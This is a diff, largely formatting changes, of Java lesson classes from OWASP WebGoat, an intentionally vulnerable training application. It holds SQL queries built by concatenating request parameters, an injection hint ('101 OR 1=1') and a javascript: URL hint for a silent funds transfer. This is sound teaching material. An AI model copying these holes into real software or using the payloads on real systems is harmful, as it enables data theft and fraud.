@ -121,8 +112,7 @@ public class SQLInjection extends GoatHillsFinancial
.add("Many of WebGoat's database queries are already parameterized. Search the project for PreparedStatement.");
// Stage 3
hints
.add("Try entering an employee_id of [ 101 OR 1=1 ORDER BY 'salary' ].");
hints.add("Try entering an employee_id of [ 101 OR 1=1 ORDER BY 'salary' ].");
// Stage 4
@ -130,10 +120,10 @@ public class SQLInjection extends GoatHillsFinancial
}
@Override
public String[] getStages() {
if (getWebgoatContext().isCodingExercises())
return new String[] {STAGE1, STAGE2, STAGE3, STAGE4};
return new String[] {STAGE1, STAGE3};
public String[] getStages()
{
if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2, STAGE3, STAGE4 };
return new String[] { STAGE1, STAGE3 };
}
/**
@ -179,15 +169,13 @@ public class SQLInjection extends GoatHillsFinancial
public void handleRequest(WebSession s)
{
if (s.getLessonSession(this) == null)
s.openLessonSession(this);
if (s.getLessonSession(this) == null) s.openLessonSession(this);
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
@ -200,42 +188,37 @@ public class SQLInjection extends GoatHillsFinancial
LessonAction action = getAction(requestedActionName);
if (action != null)
{
//System.out.println("CrossSiteScripting.handleRequest() dispatching to: " + action.getActionName());
if (!action.requiresAuthentication()
|| action.isAuthenticated(s))
// System.out.println("CrossSiteScripting.handleRequest() dispatching to: " +
// action.getActionName());
if (!action.requiresAuthentication() || action.isAuthenticated(s))
{
action.handleRequest(s);
//setCurrentAction(s, action.getNextPage(s));
// setCurrentAction(s, action.getNextPage(s));
}
}
else
setCurrentAction(s, ERROR_ACTION);
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
} catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
} catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
} catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure");
ue2.printStackTrace();
}
catch (Exception e)
} catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
@ -253,7 +236,6 @@ public class SQLInjection extends GoatHillsFinancial
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CrossSiteScripting object
*

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.SQLInjection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee;
@ -12,47 +12,44 @@ import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class ViewProfile extends DefaultLessonAction
{
public ViewProfile(GoatHillsFinancial lesson, String lessonName,
String actionName)
public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
@ -60,31 +57,27 @@ public class ViewProfile extends DefaultLessonAction
if (isAuthenticated(s))
{
String userId = getSessionAttribute(s, getLessonName() + "."
+ SQLInjection.USER_ID);
String userId = getSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID);
String employeeId = null;
try
{
// User selected employee
employeeId = s.getParser().getRawParameter(
SQLInjection.EMPLOYEE_ID);
}
catch (ParameterNotFoundException e)
employeeId = s.getParser().getRawParameter(SQLInjection.EMPLOYEE_ID);
} catch (ParameterNotFoundException e)
{
// May be an internally selected employee
employeeId = getRequestAttribute(s, getLessonName() + "."
+ SQLInjection.EMPLOYEE_ID);
employeeId = getRequestAttribute(s, getLessonName() + "." + SQLInjection.EMPLOYEE_ID);
}
// FIXME: If this fails and returns null, ViewProfile.jsp will blow up as it expects an Employee.
// FIXME: If this fails and returns null, ViewProfile.jsp will blow up as it expects an
// Employee.
// Most other JSP's can handle null session attributes.
employee = getEmployeeProfile(s, userId, employeeId);
// If employee==null redirect to the error page.
if (employee == null)
getLesson().setCurrentAction(s, SQLInjection.ERROR_ACTION);
else
setSessionAttribute(s, getLessonName() + "."
+ SQLInjection.EMPLOYEE_ATTRIBUTE_KEY, employee);
setSessionAttribute(s, getLessonName() + "." + SQLInjection.EMPLOYEE_ATTRIBUTE_KEY, employee);
}
else
throw new UnauthenticatedException();
@ -92,62 +85,48 @@ public class ViewProfile extends DefaultLessonAction
updateLessonStatus(s, employee);
}
public String getNextPage(WebSession s)
{
return SQLInjection.VIEWPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, String userId,
String subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile(WebSession s, String userId, String subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT employee.* " +
"FROM employee,ownership WHERE employee.userid = ownership.employee_id and " +
"ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId;
String query = "SELECT employee.* "
+ "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
+ "ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
@ -156,58 +135,46 @@ public class ViewProfile extends DefaultLessonAction
return profile;
}
public Employee getEmployeeProfile_BACKUP(WebSession s, String userId,
String subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile_BACKUP(WebSession s, String userId, String subjectUserId)
throws UnauthorizedException
{
// Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given user
// Query the database for the profile data of the given employee if "owned" by the given
// user
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = "
+ subjectUserId;
String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
@ -216,24 +183,19 @@ public class ViewProfile extends DefaultLessonAction
return profile;
}
private void updateLessonStatus(WebSession s, Employee employee)
{
try
{
String userId = getSessionAttribute(s, getLessonName() + "."
+ SQLInjection.USER_ID);
String employeeId = s.getParser().getRawParameter(
SQLInjection.EMPLOYEE_ID);
String userId = getSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID);
String employeeId = s.getParser().getRawParameter(SQLInjection.EMPLOYEE_ID);
String stage = getStage(s);
if (SQLInjection.STAGE3.equals(stage))
{
// If the employee we are viewing is the prize and we are not authorized to have it,
// the stage is completed
if (employee != null
&& employee.getId() == SQLInjection.PRIZE_EMPLOYEE_ID
&& !isAuthorizedForEmployee(s, Integer
.parseInt(userId), employee.getId()))
if (employee != null && employee.getId() == SQLInjection.PRIZE_EMPLOYEE_ID
&& !isAuthorizedForEmployee(s, Integer.parseInt(userId), employee.getId()))
{
setStageComplete(s, SQLInjection.STAGE3);
}
@ -248,21 +210,19 @@ public class ViewProfile extends DefaultLessonAction
Employee targetEmployee = null;
try
{
targetEmployee = getEmployeeProfile_BACKUP(s,
userId, employeeId);
targetEmployee = getEmployeeProfile_BACKUP(s, userId, employeeId);
} catch (UnauthorizedException e)
{
}
catch (UnauthorizedException e)
{}
if (targetEmployee != null
&& targetEmployee.getId() == SQLInjection.PRIZE_EMPLOYEE_ID)
if (targetEmployee != null && targetEmployee.getId() == SQLInjection.PRIZE_EMPLOYEE_ID)
{
setStageComplete(s, SQLInjection.STAGE4);
}
}
}
} catch (ParameterNotFoundException pnfe)
{
}
catch (ParameterNotFoundException pnfe)
{}
}
}

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -21,14 +21,16 @@ import org.owasp.webgoat.session.*;
public class SameOriginPolicyProtection extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -38,19 +40,16 @@ public class SameOriginPolicyProtection extends LessonAdapter
try
{
ec.addElement(new Script()
.setSrc("javascript/sameOrigin.js"));
ec.addElement(new Script().setSrc("javascript/sameOrigin.js"));
Input hiddenWGStatus = new Input(Input.HIDDEN,"hiddenWGStatus",0);
Input hiddenWGStatus = new Input(Input.HIDDEN, "hiddenWGStatus", 0);
hiddenWGStatus.setID("hiddenWGStatus");
ec.addElement(hiddenWGStatus);
Input hiddenGoogleStatus = new Input(Input.HIDDEN,"hiddenGoogleStatus",0);
Input hiddenGoogleStatus = new Input(Input.HIDDEN, "hiddenGoogleStatus", 0);
hiddenGoogleStatus.setID("hiddenGoogleStatus");
ec.addElement(hiddenGoogleStatus);
ec.addElement(new StringElement("Enter a URL: "));
ec.addElement(new BR());
@ -61,7 +60,6 @@ public class SameOriginPolicyProtection extends LessonAdapter
urlArea.setWrap("SOFT");
ec.addElement(urlArea);
button b = new button();
b.setValue("Go!");
b.setType(button.button);
@ -70,23 +68,14 @@ public class SameOriginPolicyProtection extends LessonAdapter
b.addElement("Go!");
ec.addElement(b);
ec.addElement(new BR());
ec.addElement(new BR());
H3 reponseTitle = new H3("Response: ");
reponseTitle.setID("responseTitle");
ec.addElement(reponseTitle);
//ec.addElement(new BR());
// ec.addElement(new BR());
TextArea ta = new TextArea();
ta.setName("responseArea");
@ -96,9 +85,6 @@ public class SameOriginPolicyProtection extends LessonAdapter
ec.addElement(ta);
ec.addElement(new BR());
String webGoatURL = "lessons/Ajax/sameOrigin.jsp";
String googleURL = "http://www.google.com/search?q=aspect+security";
@ -117,24 +103,18 @@ public class SameOriginPolicyProtection extends LessonAdapter
google.addElement("Click here to try a Different Origin request:<BR/> " + googleURL);
ec.addElement(google);
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
int hiddenWGStatusInt = s.getParser().getIntParameter("hiddenWGStatus",0);
int hiddenGoogleStatusInt = s.getParser().getIntParameter("hiddenGoogleStatus",0);
int hiddenWGStatusInt = s.getParser().getIntParameter("hiddenWGStatus", 0);
int hiddenGoogleStatusInt = s.getParser().getIntParameter("hiddenGoogleStatus", 0);
System.out.println("hiddenWGStatus:" + hiddenWGStatusInt);
System.out.println("hiddenGoogleStatusInt:" + hiddenGoogleStatusInt);
if (hiddenWGStatusInt == 1 && hiddenGoogleStatusInt == 1)
{
makeSuccess(s);
@ -143,7 +123,6 @@ public class SameOriginPolicyProtection extends LessonAdapter
return (ec);
}
/**
* Gets the hints attribute of the HelloScreen object
*
@ -165,19 +144,16 @@ public class SameOriginPolicyProtection extends LessonAdapter
*/
private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY;
}
/**
* Gets the title attribute of the HelloScreen object
*
@ -192,12 +168,12 @@ public class SameOriginPolicyProtection extends LessonAdapter
{
return super.getCustomCredits("", ASPECT_LOGO);
}
public String getInstructions(WebSession s) {
String instructions = "This exercise demonstrates the " +
"Same Origin Policy Protection. XHR requests can only be passed back to " +
" the originating server. Attempts to pass data to a non-originating server " +
" will fail.";
public String getInstructions(WebSession s)
{
String instructions = "This exercise demonstrates the "
+ "Same Origin Policy Protection. XHR requests can only be passed back to "
+ " the originating server. Attempts to pass data to a non-originating server " + " will fail.";
return (instructions);
}

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons;
import org.apache.ecs.Element;
@ -7,8 +8,9 @@ import org.owasp.webgoat.session.LessonTracker;
import org.owasp.webgoat.session.SequentialLessonTracker;
import org.owasp.webgoat.session.WebSession;
public abstract class SequentialLessonAdapter extends LessonAdapter {
public abstract class SequentialLessonAdapter extends LessonAdapter
{
public void setStage(WebSession s, int stage)
{
@ -16,10 +18,11 @@ public abstract class SequentialLessonAdapter extends LessonAdapter {
getLessonTracker(s).setStage(stage);
}
/* By default returns 1 stage.
* (non-Javadoc)
/*
* By default returns 1 stage. (non-Javadoc)
*/
public int getStageCount() {
public int getStageCount()
{
return 1;
}
@ -32,24 +35,26 @@ public abstract class SequentialLessonAdapter extends LessonAdapter {
}
@Override
public SequentialLessonTracker getLessonTracker(WebSession s) {
public SequentialLessonTracker getLessonTracker(WebSession s)
{
return (SequentialLessonTracker) super.getLessonTracker(s);
}
@Override
public SequentialLessonTracker getLessonTracker(WebSession s, AbstractLesson lesson) {
public SequentialLessonTracker getLessonTracker(WebSession s, AbstractLesson lesson)
{
return (SequentialLessonTracker) super.getLessonTracker(s, lesson);
}
@Override
public SequentialLessonTracker getLessonTracker(WebSession s, String userNameOverride) {
public SequentialLessonTracker getLessonTracker(WebSession s, String userNameOverride)
{
return (SequentialLessonTracker) super.getLessonTracker(s, userNameOverride);
}
@Override
public LessonTracker createLessonTracker() {
public LessonTracker createLessonTracker()
{
return new SequentialLessonTracker();
}
@ -58,7 +63,8 @@ public abstract class SequentialLessonAdapter extends LessonAdapter {
try
{
int stage = getLessonTracker(s).getStage();
//int stage = Integer.parseInt( getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE,"1"));
// int stage = Integer.parseInt(
// getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE,"1"));
switch (stage)
{
@ -77,8 +83,7 @@ public abstract class SequentialLessonAdapter extends LessonAdapter {
default:
throw new Exception("Invalid stage");
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
System.out.println(e);
@ -88,7 +93,6 @@ public abstract class SequentialLessonAdapter extends LessonAdapter {
return (new StringElement(""));
}
protected Element doStage1(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
@ -96,7 +100,6 @@ public abstract class SequentialLessonAdapter extends LessonAdapter {
return ec;
}
protected Element doStage2(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
@ -104,7 +107,6 @@ public abstract class SequentialLessonAdapter extends LessonAdapter {
return ec;
}
protected Element doStage3(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
@ -112,7 +114,6 @@ public abstract class SequentialLessonAdapter extends LessonAdapter {
return ec;
}
protected Element doStage4(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
@ -120,7 +121,6 @@ public abstract class SequentialLessonAdapter extends LessonAdapter {
return ec;
}
protected Element doStage5(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
@ -128,7 +128,6 @@ public abstract class SequentialLessonAdapter extends LessonAdapter {
return ec;
}
protected Element doStage6(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -20,32 +20,31 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -60,8 +59,8 @@ public class SilentTransactions extends LessonAdapter
private final static Double CURRENT_BALANCE = 11987.09;
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
.setBorder(0).setHspace(0).setVspace(0);
public void handleRequest(WebSession s)
{
@ -70,17 +69,14 @@ public class SilentTransactions extends LessonAdapter
{
if (s.getParser().getRawParameter("from", "").equals("ajax"))
{
if (s.getParser().getRawParameter("confirm", "").equals(
"Confirm"))
if (s.getParser().getRawParameter("confirm", "").equals("Confirm"))
{
String amount = s.getParser().getRawParameter("amount", "");
s.getResponse().setContentType("text/html");
s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse()
.getOutputStream());
PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
StringBuffer result = new StringBuffer();
result
.append("<br><br>* Congratulations. You have successfully completed this lesson.<br>");
result.append("<br><br>* Congratulations. You have successfully completed this lesson.<br>");
if (!amount.equals(""))
{
result.append("You have just silently authorized ");
@ -89,36 +85,30 @@ public class SilentTransactions extends LessonAdapter
}
result
.append("Now you can send out a spam email containing this link and whoever clicks on it<br>");
result
.append(" and happens to be logged in the same time will loose their money !!");
result.append(" and happens to be logged in the same time will loose their money !!");
out.print(result.toString());
out.flush();
out.close();
getLessonTracker(s).setCompleted(true);
return;
}
else if (s.getParser().getRawParameter("confirm", "").equals(
"Transferring"))
else if (s.getParser().getRawParameter("confirm", "").equals("Transferring"))
{
s.getResponse().setContentType("text/html");
s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse()
.getOutputStream());
out
.print("<br><br>The Transaction has Completed Successfully.");
PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
out.print("<br><br>The Transaction has Completed Successfully.");
out.flush();
out.close();
return;
}
}
}
catch (Exception ex)
} catch (Exception ex)
{
ex.printStackTrace();
}
Form form = new Form(getFormAction(), Form.POST).setName("form")
.setEncType("");
Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType("");
form.addElement(createContent(s));
@ -126,11 +116,11 @@ public class SilentTransactions extends LessonAdapter
}
/**
* Description of the Method
*
* @param s Current WebSession
* @param s
* Current WebSession
*/
protected Element createContent(WebSession s)
@ -189,23 +179,18 @@ public class SilentTransactions extends LessonAdapter
+ lineSep
+ "function submitData(accountNo, balance) {"
+ lineSep
+ "var url = '" + getLink()
+ "var url = '"
+ getLink()
+ "&from=ajax&newAccount='+ accountNo+ '&amount=' + balance +'&confirm=' + document.getElementById('confirm').value; "
+ lineSep + "if (typeof XMLHttpRequest != 'undefined') {"
+ lineSep + "req = new XMLHttpRequest();" + lineSep
+ "} else if (window.ActiveXObject) {" + lineSep
+ "req = new ActiveXObject('Microsoft.XMLHTTP');" + lineSep
+ " }" + lineSep + " req.open('GET', url, true);" + lineSep
+ " req.onreadystatechange = callback;" + lineSep
+ " req.send(null);" + lineSep + "}" + lineSep
+ "function callback() {" + lineSep
+ " if (req.readyState == 4) { " + lineSep
+ " if (req.status == 200) { " + lineSep
+ " var result = req.responseText ;"
+ lineSep
+ " var resultsDiv = document.getElementById('resultsDiv');"
+ lineSep + " resultsDiv.innerHTML = '';" + lineSep
+ " resultsDiv.innerHTML = result;" + lineSep
+ lineSep + "if (typeof XMLHttpRequest != 'undefined') {" + lineSep + "req = new XMLHttpRequest();"
+ lineSep + "} else if (window.ActiveXObject) {" + lineSep
+ "req = new ActiveXObject('Microsoft.XMLHTTP');" + lineSep + " }" + lineSep
+ " req.open('GET', url, true);" + lineSep + " req.onreadystatechange = callback;" + lineSep
+ " req.send(null);" + lineSep + "}" + lineSep + "function callback() {" + lineSep
+ " if (req.readyState == 4) { " + lineSep + " if (req.status == 200) { " + lineSep
+ " var result = req.responseText ;" + lineSep
+ " var resultsDiv = document.getElementById('resultsDiv');" + lineSep
+ " resultsDiv.innerHTML = '';" + lineSep + " resultsDiv.innerHTML = result;" + lineSep
+ " }}}" + lineSep + "</script>" + lineSep;
ec.addElement(new StringElement(script));
@ -213,13 +198,11 @@ public class SilentTransactions extends LessonAdapter
ec.addElement(new BR());
ec.addElement(new H3("Account Summary:"));
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(1)
.setWidth("70%").setAlign("left");
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(1).setWidth("70%").setAlign("left");
ec.addElement(new BR());
TR tr = new TR();
tr.addElement(new TD(new StringElement("Account Balance:")));
tr.addElement(new TD(new StringElement("<div id='balanceID'>"
+ CURRENT_BALANCE.toString() + "$</div>")));
tr.addElement(new TD(new StringElement("<div id='balanceID'>" + CURRENT_BALANCE.toString() + "$</div>")));
t1.addElement(tr);
tr = new TR();
@ -265,37 +248,29 @@ public class SilentTransactions extends LessonAdapter
return ec;
}
protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Check the javascript in the HTML source.");
hints
.add("Check how the application calls a specific javascript function to execute the transaction.");
hints
.add("Check the javascript functions processData and submitData()");
hints
.add("Function submitData() is the one responsible for actually ececuting the transaction.");
hints
.add("Check if your browser supports running javascript from the address bar.");
hints.add("Check how the application calls a specific javascript function to execute the transaction.");
hints.add("Check the javascript functions processData and submitData()");
hints.add("Function submitData() is the one responsible for actually ececuting the transaction.");
hints.add("Check if your browser supports running javascript from the address bar.");
hints.add("Try to navigate to 'javascript:submitData(1234556,11000);'");
return hints;
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HelloScreen object
*
@ -306,7 +281,6 @@ public class SilentTransactions extends LessonAdapter
return ("Silent Transactions Attacks");
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);

View File

@ -1,9 +1,8 @@
/*
* Created on May 26, 2005
*
* TODO To change the template for this generated file go to
* Window - Preferences - Java - Code Style - Code Templates
* Created on May 26, 2005 TODO To change the template for this generated file go to Window -
* Preferences - Java - Code Style - Code Templates
*/
package org.owasp.webgoat.lessons;
import java.sql.Connection;
@ -12,7 +11,6 @@ import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
@ -28,39 +26,38 @@ import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
